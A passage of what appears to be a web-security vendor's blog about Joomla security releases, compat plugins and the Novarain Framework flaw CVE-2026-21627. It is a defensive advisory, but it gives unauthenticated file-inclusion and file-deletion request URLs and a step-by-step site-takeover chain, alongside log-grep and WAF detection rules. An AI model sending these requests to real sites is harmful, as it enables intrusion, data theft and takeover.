File paths, role names, SQL fragments - nothing from the request body should be used directly. The King Addons privilege escalation happened because the plugin accepted user_role=administrator from POST data without question. The HUSKY vulnerability happened because a file path was used in an inclusion without sanitization.

Audit your existing AJAX handlers

If you maintain a WordPress plugin or Joomla extension, search your codebase for wp_ajax_, wp_ajax_nopriv_, and com_ajax handlers. For each one, verify: does it check the user's capabilities? Does it validate all input? Could a subscriber (or a guest) reach it?

The Astroid fix was a single line of code. The Novarain fix was similar. These are not hard problems to solve - they are easy problems that nobody solved until attackers found them first.

What else was fixed in Joomla 5.4.4?

The Joomla 5.4.4 and 6.0.4 security release on 31 March 2026 patched six CVEs in total. Beyond the AJAX and API issues already discussed:

CVE	Component	Severity	Description	Reporter
CVE-2026-23898	com_joomlaupdate	High	Arbitrary file deletion via the autoupdate server mechanism	Phil Taylor
CVE-2026-21630	com_content webservice	High impact	SQL injection in the articles API via improperly built order clauses	GitHub Security Lab, CyStack
CVE-2026-21631	com_associations	Moderate	XSS in the multilingual associations comparison view	UNC Pembroke researchers
CVE-2026-21632	Various article outputs	Moderate	XSS from unescaped article titles in multiple locations	Peter Vanderhulst

<div class="not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950"> <p class="font-medium text-green-900 dark:text-green-200">CVE-2026-23898 - Reported by Phil Taylor</p> <p class="mt-1 text-sm text-green-800 dark:text-green-300"><a href="https://developer.joomla.org/security-centre/1031-20260305-core-arbitrary-file-deletion-in-com-joomlaupdate.html" class="underline">CVE-2026-23898</a> is a high-severity arbitrary file deletion vulnerability in <code>com_joomlaupdate</code>, reported by Phil Taylor (the author of this blog and founder of mySites.guru). The autoupdate server mechanism lacked input validation, allowing an attacker to delete any file on the server that the PHP process has access to - not just Joomla files, but anything the web server user can reach. The component responsible for keeping Joomla up to date had a security hole in it.</p> <p class="mt-2 text-sm text-green-800 dark:text-green-300">An attacker who can delete files can take a site offline, weaken its security configuration, or expose protected directories by removing <code>.htaccess</code> or <code>web.config</code>. File deletion vulnerabilities can also be chained with other attacks to escalate to full site takeover.</p> </div>

CVE-2026-21630 is another high-impact endpoint vulnerability - SQL injection in the content API. That makes four of the six CVEs in this release targeting API or AJAX-adjacent attack surfaces.

How does mySites.guru help when vulnerabilities like these drop?

Every hour between a security release and your update is an hour your sites are exposed with a known, published vulnerability.

The mySites.guru dashboard shows every connected site's core version and extension versions at a glance. Filter by version to see exactly which sites need updating, without logging into each one individually.

Need to know which sites run a specific vulnerable extension? The extension search indexes every plugin and extension across your entire portfolio and groups results by version number. This is how we flagged 724 agencies running vulnerable Smart Slider 3 and 8,297 sites with the Novarain Framework within hours of disclosure.

Once you know what needs patching, the mass update tool pushes updates to all affected sites in a single operation. For agencies managing dozens or hundreds of sites, this turns a full day's work into a ten-minute task.

After updating, the security audit verifies each site by checking for modified core files, backdoors, and anything else that looks wrong. If a site was compromised before you could apply the patch, the audit catches the signs.

Not sure whether your sites are at risk? Run a free audit on any Joomla or WordPress site to get an immediate assessment.

What should agency owners do right now?

1. Update everything

If you run Joomla sites, update to 5.4.4 or 6.0.4 today. If you run WordPress sites, make sure Smart Slider 3 is on 3.5.1.34 or later. Check for the Astroid Framework (update to 3.3.13+) and the Novarain Framework (update to 6.0.38+) on your Joomla sites.

If you manage multiple sites, mySites.guru can push updates across your entire portfolio from a single dashboard.

<div class="not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950"> <p class="font-medium text-red-900 dark:text-red-200">Joomla 5.4.4 may break existing plugins</p> <p class="mt-1 text-sm text-red-800 dark:text-red-300">The com_ajax ACL fix in 5.4.4 blocks all unauthenticated admin AJAX requests by default. If you have extensions that use admin AJAX endpoints without a Joomla session (including extensions that had their own authentication via API keys or custom tokens), those extensions will stop working after the update. Extensions that never had any authentication will also stop working, which is the intended outcome. Check for broken functionality in your admin AJAX workflows after updating. Extension developers need to either add the <code>#[AllowUnauthorizedAdministratorAccess]</code> attribute to methods that legitimately need unauthenticated access, or ensure their handlers work within a valid Joomla admin session.</p> </div>

2. Audit your AJAX endpoints

Check what your extensions expose through com_ajax on Joomla or admin-ajax.php on WordPress. Look at which webservice endpoints are accessible and whether they are properly locked down. The mySites.guru security audit catches many of these issues, but manual review of your extension stack is also worthwhile for custom or niche extensions.

3. Remove what you don't use

Every installed extension is potential attack surface. If you have plugins or extensions you are not actively using, uninstall them. An extension you forgot about can still expose AJAX endpoints to the public internet.

4. Monitor for compromise

Set up real-time file change monitoring so you are alerted immediately if any watched files are modified. Run the suspect content scanner to check for backdoors that may have been installed before you patched.

5. Keep watching

This pattern is not going away. Joomla 5.4.4 added authentication to com_ajax and WordPress already gates wp_ajax_ hooks behind a login check, but neither framework verifies authorization. That is still the developer's job. Every new extension that ships an AJAX handler without a capability check is a potential vulnerability, and the only fix is developer education.

Joomla's Compat Plugin Is a Crutch, Not a Fix

phil@mysites.guru (Phil Taylor) — Thu, 02 Apr 2026 00:00:00 GMT

Every major Joomla release ships with a backward compatibility plugin. It maps old, deprecated class names to their new equivalents so extensions that haven't been updated keep working. Most site owners leave it enabled and never think about it again.

The compat plugin is a safety net with an expiry date. Each version gets removed in the next major release. plg_behaviour_compat (the Joomla 4 compatibility layer) shipped with Joomla 5 and is completely gone in Joomla 6. If any of your extensions still rely on those old class names, your site breaks on upgrade with a fatal error and a white screen.

mySites.guru now tracks compat plugin status across all your connected sites. You can see at a glance which sites still have the compat layer enabled, and toggle it remotely to test readiness - without logging into each site individually.

What Do the Joomla Compat Plugins Actually Do?

There are two distinct plugins, each covering a different generation of deprecated code:

plg_behaviour_compat (Joomla 5 only, removed in Joomla 6)

This plugin provides class aliases for over 400 deprecated Joomla 4 class names. When an extension calls JPlugin, JTable, JFactory, JRegistry, JModelAdmin, or any of the other legacy names that have existed since Joomla 1.0, the compat plugin redirects those calls to the Joomla 5 namespaced equivalents. It also handles ES5 JavaScript asset fallbacks and removed asset compatibility.

It has three independently toggleable options:

classes_aliases - maps old class names to new ones (enabled by default). This one adds ~500+ PHP function calls per request and is the hardest to turn off safely.
es5_assets - loads ES5 fallback JavaScript (enabled by default). Over 1000 lines of JSON data per request. Safe to disable on most sites.
removed_asset - provides compatibility for removed JS/CSS assets (enabled by default). Minimal overhead (~15 lines of JSON). Also safe to disable.

plg_behaviour_compat6 (Joomla 5.4+, Joomla 6, Joomla 7)

This is the newer compat plugin, introduced in Joomla 5.4 to give developers time to prepare for Joomla 6. It specifically covers three things removed from the J6 core:

\Joomla\CMS\Input\* namespace (replaced by \Joomla\Input\* from the Framework)
\Joomla\CMS\Filesystem\* package (replaced by \Joomla\Filesystem\*)
The JPATH_PLATFORM constant (replaced by _JEXEC)

It has two options:

classes_aliases - maps deprecated class names (disabled by default)
legacy_classes - provides full legacy class implementations for Input, Filesystem, and Application (enabled by default)

On new Joomla 6 installations, this plugin is installed but disabled by default, on the assumption that fresh installs don't carry legacy code.

Same pattern as before: the compat plugin arrives one minor version before the major release and gets removed in the version after that.

Why Is the Joomla 5 Compat Plugin Called "compat6"?

The naming trips people up. The "6" in plg_behaviour_compat6 refers to the Joomla version it makes your code compatible with, not the version it runs on. It provides the deprecated J5 classes so your old code works on Joomla 6.

Same logic for the original: plg_behaviour_compat provides deprecated J4 classes so old code works on Joomla 5. There's no number because it was the first one.

Plugin name	Runs on	Provides	So your old code works on
`plg_behaviour_compat`	Joomla 5	J4 class aliases	Joomla 5
`plg_behaviour_compat6`	Joomla 5.4+, 6, 7	J5 class aliases	Joomla 6

Why Leaving the Compat Plugin Enabled Is Technical Debt

When the compat plugin is doing its job, everything looks fine. Your site works, your extensions work, nobody complains. But underneath, you're accumulating technical debt:

plg_behaviour_compat is gone in Joomla 6. If you upgrade to J6 with extensions that still need it, those extensions break immediately. The class doesn't exist anymore, full stop.

The sneaky part: because the compat plugin rewrites class references on the fly, there's no log entry or warning that an extension is using deprecated code. Everything passes the Joomla pre-update check. Everything looks ready for the next version. Then you upgrade and find out it wasn't.

Smaller extension developers often don't realise they have a problem either. They test on Joomla 5 with the compat plugin enabled (it's on by default), their extension works, they ship it, and nobody notices the dependency on deprecated classes until a client tries to run it on J6.

There's also a minor performance cost. The compat plugin runs on every request, loading class maps and checking aliases. Not huge, but unnecessary for extensions that have been properly updated.

Check Compat Plugin Status Across All Your Joomla Sites

We've added compat plugin tracking to the Joomla 6 Technical Requirements tool. The new Compat Plugin column shows the enabled/disabled state for every connected site at a glance:

Green "Disabled" means the compat plugin is off and your site runs without the compatibility layer
Yellow "Enabled" means the compat plugin is still active, so some extensions may depend on it
Grey "N/A" means the plugin doesn't apply to that Joomla version (e.g., J4 sites)

This is included in all mySites.guru subscriptions at no extra cost. Connect unlimited sites and check them all from one screen.

</div>

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">See compat plugin status for all your Joomla sites</p> <p class="mt-2 flex flex-wrap gap-3"> <a href="https://manage.mysites.guru/en/tools/joomla6/compatibility" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open Joomla 6 Compatibility Checker</a> <a href="https://manage.mysites.guru/en/tools/joomla5/compatibility" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open Joomla 5 Compatibility Checker</a> </p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Colour-codes every connected Joomla site's PHP version, database version, update channel, and compat plugin status. You need to be logged in.</p> </div>

Toggle Compat Plugins Remotely from mySites.guru

Beyond the overview page, there are two standalone audit checks under Extension Information on each site's manage page:

Backward Compatibility Plugin (J4 Classes) - tracks plg_behaviour_compat on J5 sites
Backward Compatibility Plugin (J5 Classes) - tracks plg_behaviour_compat6 on J5.4+ and J6 sites

Both let you toggle the plugin on or off remotely. No need to log into the Joomla admin or touch the database. If you're testing J6 readiness across multiple client sites, you can disable the compat plugin, check what breaks, and re-enable it all from one place.

</div>

There's also a pivot page that shows the compat plugin status across every connected Joomla site on one screen, with toggle switches to enable or disable each one directly:

</div>

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">Warning</p> <p class="mt-1 text-sm text-amber-800 dark:text-amber-300">Disabling the compat plugin may crash your site if any extension still depends on deprecated classes. Always test on a staging copy first, or be prepared to re-enable it quickly using the same toggle.</p> </div>

How to Test Whether Your Extensions Need the Compat Plugin

The only reliable way to know is to disable it and see what breaks. Do this safely:

Make a staging copy of your site. Never test this on production first.
Disable the compat plugin from the Joomla admin (Extensions > Plugins > search for "compat") or remotely via mySites.guru's toggle.

</div>

Test every page and feature. Visit the frontend, the admin panel, and trigger any scheduled tasks or AJAX features. Check forms, search, and any custom functionality.
Check the error logs. The typical error is An error has occurred: 0 Class 'JPlugin' not found or similar with JTable, JFactory, JRegistry, etc. The class name in the error tells you exactly what deprecated API the extension is calling.
Identify the extension. The stack trace in the error log shows which extension file triggered the error. That extension needs updating. Tip: you may need to enable debug mode and set error reporting to Maximum in Joomla's Global Configuration first, otherwise you'll just see a generic error page. Also check if your template has a custom error.php file that hides the real error behind a visitor-friendly page. Temporarily rename or remove it while testing so Joomla's core error handler shows the raw stack trace instead.

If everything works with the plugin disabled, you're clear. If something crashes, you now know exactly which extensions need attention.

What to Do When an Extension Needs the Compat Layer

You've disabled the compat plugin, your site crashed, and the error log says Class 'JFactory' not found in a third-party extension. Now what?

If the extension has an update available, install it. Most actively maintained extensions were updated for Joomla 5 native compatibility years ago. Check the developer's site or the Joomla Extensions Directory.

If there's no update, contact the developer and point them to the Joomla migration documentation. The changes are usually straightforward, just replacing old class names with namespaced equivalents. JFactory becomes Joomla\CMS\Factory, JPlugin becomes Joomla\CMS\Plugin\CMSPlugin, and so on.

If the extension is abandoned, find an alternative. An extension that still uses Joomla 4 class names in 2026 is not being maintained, and you shouldn't depend on it for production. The manage all your extensions tool in mySites.guru can help you audit what's installed across your sites.

If it's your own custom code, update the class references yourself. The Joomla project maintains a complete mapping of old class names to new namespaced versions. Most replacements are a find-and-replace job.

How to Recover If Your Site Crashes After Disabling Compat

If you disabled the compat plugin on a live site (we said not to) and it's now showing a white screen, you have three ways to get it back:

Option 1: Use mySites.guru (Fastest)

If the site is still connected to mySites.guru, use the remote toggle in the audit tool to re-enable the plugin. The connector communicates directly with the database, so it works even when the Joomla frontend is down.

Option 2: Edit the Database Directly

Connect to your database with phpMyAdmin, Adminer, SSH, or your host's control panel (cPanel, Plesk, etc.):

UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = 'compat'
  AND `folder` = 'behaviour';

For the Joomla 6 compat plugin (plg_behaviour_compat6):

UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = 'compat6'
  AND `folder` = 'behaviour';

Replace #__ with your actual table prefix (usually jos_ or whatever you set during installation).

Option 3: Edit the configuration.php File (Emergency)

If you can't access the database at all, you can temporarily put Joomla into offline mode by editing configuration.php and setting $offline = true. This gives you access to the admin login page where you can re-enable the plugin. Change it back to false after.

You Must Disable `plg_behaviour_compat` Before Upgrading to Joomla 6

This is worth calling out separately: Joomla requires that you disable the compat plugin before upgrading from J5 to J6. If your site breaks when you disable it, that's Joomla telling you something isn't ready. Re-enable it, fix the incompatible extensions while still on J5, and then try the upgrade again.

Extensions that were commonly reported as needing the compat plugin (as of 2024, most have since been updated): Convert Forms / NRFramework (Tassos), Acymailing (Acyba), Dropfiles/Droppics (JoomUnited), LSCache (LiteSpeed), and Ecwid. If you're running any of these, make sure you're on the latest version before disabling.

The Joomla Compat Plugin Migration Timeline

The lifecycle of Joomla's compat plugins follows a predictable pattern:

Plugin	Introduced	Covers	Removed
`plg_behaviour_compat`	Joomla 5.0	Joomla 4 deprecated classes	Joomla 6.0
`plg_behaviour_compat6`	Joomla 5.4	Joomla 5 deprecated classes	Joomla 7 (expected)

If you're running Joomla 5 today with the compat plugin enabled, you have until your Joomla 6 upgrade to sort it out. If you're already on Joomla 6, the J4 compat layer is already gone - any extensions that needed it either broke during the upgrade or were updated beforehand.

For Joomla 6 sites, the plg_behaviour_compat6 plugin gives you a similar grace period for J5 deprecated classes until Joomla 7 arrives.

Joomla gives you one major version cycle to update your code. After that, the safety net disappears.

How to Prevent Accidental Joomla Version Jumps

While you're testing compat plugin readiness, make sure your production sites aren't set to accidentally upgrade to the next major version. The update channel controls which versions Joomla offers. Check out our guide on how to prevent accidental Joomla version jumps to lock your sites to the current series until you're ready.

You can also check the update channel status for all your sites on the same Joomla 6 Compatibility page that now shows compat plugin status.

Watch: Joomla Backward Compatibility Plugin Explained

Tim Davis from Basic Joomla Tutorials covered the backward compatibility plugin back in 2024, but the fundamentals haven't changed. If you prefer video over text, this is still a solid walkthrough of what the plugin does and why it matters:

Check out his full mySites.guru playlist on YouTube for more walkthroughs of the audit tools.

Novarain Framework Vulnerability: Check Your Joomla Sites for nrframework

phil@mysites.guru (Phil Taylor) — Mon, 30 Mar 2026 00:00:00 GMT

The Tassos/Novarain Framework (plg_system_nrframework) for Joomla has a critical vulnerability (CVE-2026-21627, CVSS 9.5) that allows unauthenticated attackers to include arbitrary PHP files, delete files, and perform SQL injection. A public exploit tool is already on GitHub.

Most Joomla administrators don't know this plugin is on their sites. It's a hidden dependency, installed automatically when you add any Tassos.gr extension like Convert Forms, EngageBox, or Google Structured Data. If you manage Joomla sites and you're not sure whether this affects you, run a free audit to find out.

<div class="not-prose my-6 rounded-lg border border-neutral-200 bg-neutral-50 p-4 dark:border-neutral-700 dark:bg-neutral-900"> <p class="font-medium text-neutral-900 dark:text-neutral-200">Why are we writing about this now?</p> <p class="mt-1 text-sm text-neutral-800 dark:text-neutral-300">This CVE was reserved in January 2026 and publicly disclosed on 16 February. Tassos.gr patched it within days. That was six weeks ago. We're writing about it because 3,861 sites in our dataset - 46.5% of those running the Novarain Framework - are still on vulnerable versions as of 30 March 2026. The vendor did their job. The patch exists. But a patch nobody installs protects nobody, and a public exploit on GitHub means the window for automated attacks is wide open. If you manage Joomla sites with Tassos extensions and you haven't checked, this post is for you.</p> </div>

TL;DR

CVE-2026-21627 - CVSS 9.5 critical unauthenticated vulnerability in plg_system_nrframework versions 4.10.14 through 6.0.37
Attackers can include arbitrary PHP files, read files, delete files, and perform SQL injection through Joomla's com_ajax endpoint - no login required
Update to nrframework 6.0.38+ immediately via Tassos.gr downloads
Affects every Joomla site running Convert Forms, EngageBox, Google Structured Data, Advanced Custom Fields, or Smile Pack
A public exploit with multiple attack modes is available on GitHub
Already compromised? Updating alone won't undo the damage. Check for signs of compromise below

</div>

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">This vulnerability was disclosed on 16 February 2026 and patched the same week. That was six weeks ago. As of 30 March 2026, 46.5% of affected sites in our dataset are still running vulnerable versions. A weaponised exploit tool with multiple attack modes is on GitHub. If you haven't patched, your sites have been exposed for over a month.</p> </div>

To their credit, Tassos.gr responded quickly. They published a security advisory on 18 February 2026, two days after the SSD disclosure, and confirmed patched versions for every affected extension on both Joomla 3 and Joomla 4/5/6. They also noted they had "no evidence that this vulnerability has been exploited in the wild" at the time of their advisory. The vendor did their part. The problem is that six weeks later, nearly half the sites running their framework haven't applied the update.

What is the Novarain Framework?

The Novarain Framework (also called the Tassos Framework) is a shared library plugin for Joomla, distributed as plg_system_nrframework. It provides common functionality - AJAX handling, custom fields, form processing, geo-IP lookups - used by every extension in the Tassos.gr product suite.

Every extension in the suite bundles it:

Extension	What it does	JED ranking
Convert Forms	Form builder (contact, payment, registration)	#2 on JED
EngageBox	Popup and sticky bar builder	#6 on JED
Google Structured Data	Schema markup for SEO	#20 on JED
Advanced Custom Fields	Custom field types for Joomla	-
Smile Pack	UI enhancement toolkit	-
MailChimp Auto-Subscribe	Mailing list automation	-

These are popular, well-regarded extensions. Over 2.1 million downloads across the suite. The framework itself is installed silently as a dependency. You won't see "Novarain Framework" in any marketing material or installation wizard. It just appears in your plugin list as plg_system_nrframework.

And that's the problem. An admin installs Convert Forms to build a contact page. They don't realise they've also installed a system plugin with its own AJAX endpoint, file handling methods, and database query layer. When that framework has a critical vulnerability, they don't know to look for it.

How widespread is this?

We checked our own data. Across the tens of thousands of Joomla sites connected to mySites.guru:

Metric	Count	Percentage
Sites with nrframework installed	8,297
Sites on vulnerable versions (< 6.0.38)	3,861	46.5% of nrframework sites
Sites on patched versions (6.0.38+)	4,240	51.1% of nrframework sites

Nearly half of the sites running the Novarain Framework are still on vulnerable versions. That's 3,861 sites exposed to unauthenticated remote code execution, with a public exploit available.

The most common vulnerable version we see is 6.0.37 (328 sites), sitting just one version behind the fix. Sites on older branches like 5.0.x (404 sites on 5.0.88) and 4.x (375 sites on 4.6.23) are also exposed and may need a larger version jump to reach the patched release.

The version distribution tells a story about how Joomla extension updates actually work in practice. The largest single group (2,855 sites) is already on 6.0.68 - well past the fix. The second-largest group (1,018 sites) is on 6.0.62, also safe. These are sites with active Tassos.gr subscriptions and either automatic updates or attentive admins.

The vulnerable sites are a mix: some are on the 6.0.x branch but haven't updated since before the patch (the 328 sites on 6.0.37), some are on older major branches where the admin may not realise a security update is available (the 5.0.x and 4.x clusters), and some are on very old versions (58 sites still running 3.1.7) where the Tassos subscription likely expired years ago and updates simply aren't available.

That last group is the hardest to reach. They're running abandoned extension versions on potentially abandoned Joomla installations, and no amount of vendor patching will fix them. The only way to find and address those sites is to have a central inventory that flags outdated and vulnerable extensions automatically.

How to find sites with nrframework installed with mySites.guru

Finding affected sites, checking versions, scanning logs, auditing for compromise - that takes about 10 minutes per site when done manually. If you manage 50 Joomla sites, that's most of a working day. mySites.guru collapses that into minutes.

Find every affected site in seconds

mySites.guru tracks every installed extension on every connected site, including silent dependencies like nrframework. It's one of the core features of managing multiple Joomla sites from a single dashboard. Search for nrframework across your portfolio and you'll see which sites have it, which version they're running, and when it was last updated. That's how we pulled the statistics for this post: 8,297 sites with nrframework, version breakdown by site, all from a single query.

You don't need to log into each Joomla admin panel and search the extensions list manually. The inventory is always current. One URL gives you the complete list of every site running nrframework, broken down by version number, with the site's PHP version, Joomla version, and SSL status alongside it:

</div>

If you're already a mySites.guru subscriber, you can open this page right now:

Every version of nrframework installed across connected sites is listed at the top. Below that, every individual site running the plugin, with its exact version. Vulnerable and patched versions are visible at a glance.

That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, the full picture of which clients are exposed, and patching can start immediately.

If you don't have a mySites.guru account yet, sign up for a free trial and connect your sites. The extension index builds automatically on the first audit.

Get alerted the day a CVE drops

When a CVE like this one is disclosed, mySites.guru cross-references it against the extension versions on your connected sites and flags every affected installation. You get an alert telling you exactly which sites need patching, rather than finding out weeks later (or from this blog post).

Spot uploaded PHP shells before the damage spreads

If an attacker exploits CVE-2026-21627 to upload a PHP shell to /images/ or /tmp/, mySites.guru's real-time file change alerting picks it up. You'll see which file was created, when, and on which site. That's the difference between finding a backdoor in minutes and discovering it months later when Google flags your site for serving malware.

Push the patch to every site at once

Once you've confirmed the patched version works on a test site, use the mass updater to push the Tassos extension update to every affected site in your portfolio simultaneously. One action, all sites patched, window of exposure closed.

Scan for backdoors if you were exposed

If any of your sites were running a vulnerable version during the six-week window since disclosure, run a security audit to scan for signs of exploitation. The audit checks for suspicious files, backdoors, and known hack signatures across the entire file system - the kind of artefacts an attacker leaves behind after chaining the file inclusion and SQL injection primitives in this vulnerability.

What does CVE-2026-21627 actually allow?

The vulnerability gives attackers three distinct capabilities, all without authentication:

1. Arbitrary PHP file inclusion

The ajaxTaskInclude() method in nrframework.php is whitelisted for frontend access via the $non_admin_tasks array. It accepts a path parameter with Joomla's RAW input filter, which means zero sanitisation. The concatenated path goes straight to @include_once.

An attacker sends a request like:

GET /?option=com_ajax&format=raw&plugin=nrframework&task=include&path=../../../some/file&class=TargetClass

This lets them include any PHP file on the server and instantiate any class that implements an onAjax method. Internal helper classes that were never meant to be publicly accessible become remotely reachable gadgets.

The key detail here is the $non_admin_tasks array. Joomla's com_ajax system is designed to let plugins handle AJAX requests from the frontend. The nrframework plugin explicitly lists include as a task that doesn't require admin authentication. That's a design decision in the plugin code, not a Joomla core weakness. The plugin chose to allow unauthenticated users to trigger file inclusion.

What makes this worse is the class parameter. After including a file, the plugin instantiates whatever class name the attacker specifies and calls its onAjax method. Joomla's codebase contains dozens of classes with onAjax methods, each one a potential gadget for the attacker to chain into further exploitation.

2. Arbitrary file read and file deletion

Two built-in classes provide file operations:

nrchainedfields - handles CSV loading for cascading select fields. By manipulating the file path, an attacker can read any file the web server user can access. Configuration files, database credentials, .htpasswd files - all readable.
nrinlinefileupload - provides an onRemove() method that deletes files at attacker-supplied paths without additional validation.

GET /?option=com_ajax&format=raw&plugin=nrframework&task=include&class=NRInlineFileUpload&action=remove&remove_file=/path/to/target

3. SQL injection

The ajaxify.php and componentitems.php classes pass attacker-controlled term parameters directly into database queries. This allows arbitrary table and column reads, including super-admin session tokens stored in Joomla's session table.

These classes are designed for dynamic field population, the kind of thing that powers a "search as you type" dropdown in a form. The term parameter is supposed to be a search string entered by a user filling out a Convert Forms field. Instead, an attacker can supply SQL fragments that get concatenated into the query without prepared statements or parameter binding.

With read access to the database, the attacker can pull the #__session table to find active super-admin sessions, extract user password hashes from #__users, or read any other data the database user has access to. (For more on why Joomla database security matters, see our dedicated guide.) On shared hosting where the database user often has broader permissions than it should, the blast radius can extend beyond the Joomla database itself.

The full attack chain

In practice, an attacker chains these together:

Read the Joomla configuration.php via the file-read primitive to get database credentials
Use SQL injection to extract super-admin session tokens from the session table
Hijack an admin session and log into /administrator
Upload a PHP shell through the template editor or extension installer
Delete log files and access evidence to cover tracks

That's complete site takeover. Shell access, full database control, and the ability to modify any file on the site.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">The public exploit on GitHub includes multiple attack modes: file upload, file deletion, SQL injection, and automated session hijacking. This is not a theoretical vulnerability. The tooling to exploit it is freely available and trivial to run.</p> </div>

Which versions are vulnerable?

The vulnerability spans the entire Tassos extension suite. If you have any of these versions, you're exposed:

Extension	Vulnerable versions	Patched (Joomla 4/5/6)	Patched (Joomla 3)
Novarain/Tassos Framework (plg_system_nrframework)	4.10.14 - 6.0.37	6.0.62+	6.0.62+
Convert Forms	3.2.12 - 5.1.0	5.1.1+	4.4.11+
EngageBox	6.0.0 - 7.1.0	7.1.1+	6.3.9+
Google Structured Data	5.1.7 - 6.1.0	6.1.1+	5.6.9+
Advanced Custom Fields	2.2.0 - 3.1.0	3.1.1+	2.8.10+
Smile Pack	1.0.0 - 2.1.0	2.1.1+	1.2.4+
MailChimp Auto-Subscribe	(all unpatched)	5.1.1+	5.0.4+

These version numbers come from Tassos.gr's official security advisory, published 18 February 2026. The nrframework plugin contains the vulnerable code, but the parent extensions control which version of nrframework gets installed. Updating any one Tassos extension to a patched version will also update the shared framework across all their products.

How do you check if your site is affected?

Step 1: Find out if nrframework is installed

Log into your Joomla admin panel and go to System > Manage > Extensions. Search for nrframework.

If it appears, note the version number. Anything between 4.10.14 and 6.0.37 is vulnerable.

Alternatively, check via the filesystem. The plugin lives at:

plugins/system/nrframework/nrframework.php

If that file exists, the plugin is installed. Open it and look for the version string in the XML header, or check the corresponding nrframework.xml file in the same directory.

Step 2: Check for the parent extensions

Search your extensions list for:

Convert Forms (com_convertforms)
EngageBox (com_rstbox)
Google Structured Data (com_gsd)
Advanced Custom Fields (field plugins prefixed with acf)
Smile Pack

Any of these means nrframework is present. Even if you've disabled the parent extension, the framework plugin may still be enabled and reachable.

Step 3: Check your server logs

Look for requests targeting the vulnerability. The attack pattern is distinctive:

grep "option=com_ajax.*plugin=nrframework.*task=include" /var/log/apache2/access.log

Or for nginx:

grep "option=com_ajax.*plugin=nrframework.*task=include" /var/log/nginx/access.log

Any matches indicate scanning or exploitation attempts against your site.

How do you check if your site has been exploited?

If your site was running a vulnerable version of nrframework while it was publicly accessible, you should check for signs of compromise. Attackers using CVE-2026-21627 would leave traces in several places.

Use the mySites.guru security audit tools

A mySites.guru security audit runs over 50 file-level checks against the entire webspace. Several of these directly detect the artefacts an attacker would leave behind after exploiting CVE-2026-21627.

The Hacked? section of the audit flags suspect content, mailer scripts, file uploaders, and non-core files. If an attacker uploaded a PHP shell through the file inclusion primitive, the suspect content scanner will match it against 12 years of known backdoor signatures:

</div>

The Files Information section goes deeper: recently modified files, hidden dot-files, PHP files in directories where they shouldn't be, files with 777 permissions, SQL dumps left in the webspace, and files modified between audits. If an attacker deleted logs or modified template files to inject code, these checks catch it:

</div>

Each check is clickable - you can drill into the individual files, see their contents, and compare against known-good hashes. This is what we built mySites.guru to do: turn a manual forensic process into something you can run across every site in your portfolio in minutes.

Manual checks (if you don't have mySites.guru)

If you're checking manually, here's what to look for:

Unauthorised admin accounts: Go to Users > Manage and look for admin accounts you don't recognise. Pay special attention to accounts created after 16 February 2026 (the public disclosure date). Attackers who extract session tokens via SQL injection may create persistent admin accounts as a fallback.

Unexpected PHP files: Search writable directories for recently created PHP files:

find /path/to/joomla -name "*.php" -newer /path/to/joomla/configuration.php -type f

Focus on /tmp/, /images/, /media/, /cache/, and /administrator/cache/. These are common drop locations for uploaded shells.

Modified template files: Attackers with admin access often inject code into index.php in your active template directory. Compare hashes against a clean copy:

find /path/to/joomla/templates -name "index.php" -exec md5sum {} \;

Any mismatch against a known-good installation warrants investigation.

Database tampering: If you suspect SQL injection was used, check:

#__session for sessions belonging to user IDs you don't recognise
#__users for accounts with Super User group membership that you didn't create
#__content (articles) for injected <script> tags, hidden iframes, or base64-encoded strings
#__extensions for plugins or components you didn't install, particularly anything with high ordering values (9999 is a common attacker pattern we've seen with the Astroid exploit too)

If you find evidence of compromise, updating nrframework alone won't help. You need a full cleanup: remove backdoors, revoke compromised sessions, change database credentials, and scan the entire file system. If your Joomla site has been hacked, our recovery guide walks through the process.

How do you fix it?

Option 1: Update through the Joomla admin panel

If your Tassos.gr subscription is active, updates are available through Joomla's built-in updater:

Go to System > Update > Extensions
Find the Tassos extensions in the update list
Update them all - the nrframework plugin will update automatically with the parent extension

Option 2: Download and install manually

Download the latest versions from Tassos.gr downloads and install them through System > Install > Extensions. The installer will overwrite the vulnerable files.

Option 3: Disable immediately if you can't update yet

If you can't update right now (expired subscription, compatibility concerns, testing required), disable the plugin as an interim measure:

Go to System > Manage > Plugins
Search for nrframework
Disable plg_system_nrframework

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">Disabling the plugin will break any functionality that depends on it. Convert Forms won't work. EngageBox popups won't appear. But a broken contact form is better than a compromised server. Disable, update properly during a maintenance window, then re-enable.</p> </div>

WAF rules as a stopgap

If you have a Web Application Firewall (ModSecurity, Cloudflare WAF, or similar), you can block the attack vector at the server level:

# Block nrframework AJAX task=include requests
SecRule ARGS:plugin "nrframework" "id:100001,phase:1,deny,chain"
  SecRule ARGS:task "include"

This blocks the primary attack vector while leaving other com_ajax functionality intact. It's a temporary measure, not a replacement for patching.

For nginx, the equivalent rule:

# Block nrframework AJAX task=include requests
if ($args ~* "plugin=nrframework.*task=include") {
    return 403;
}

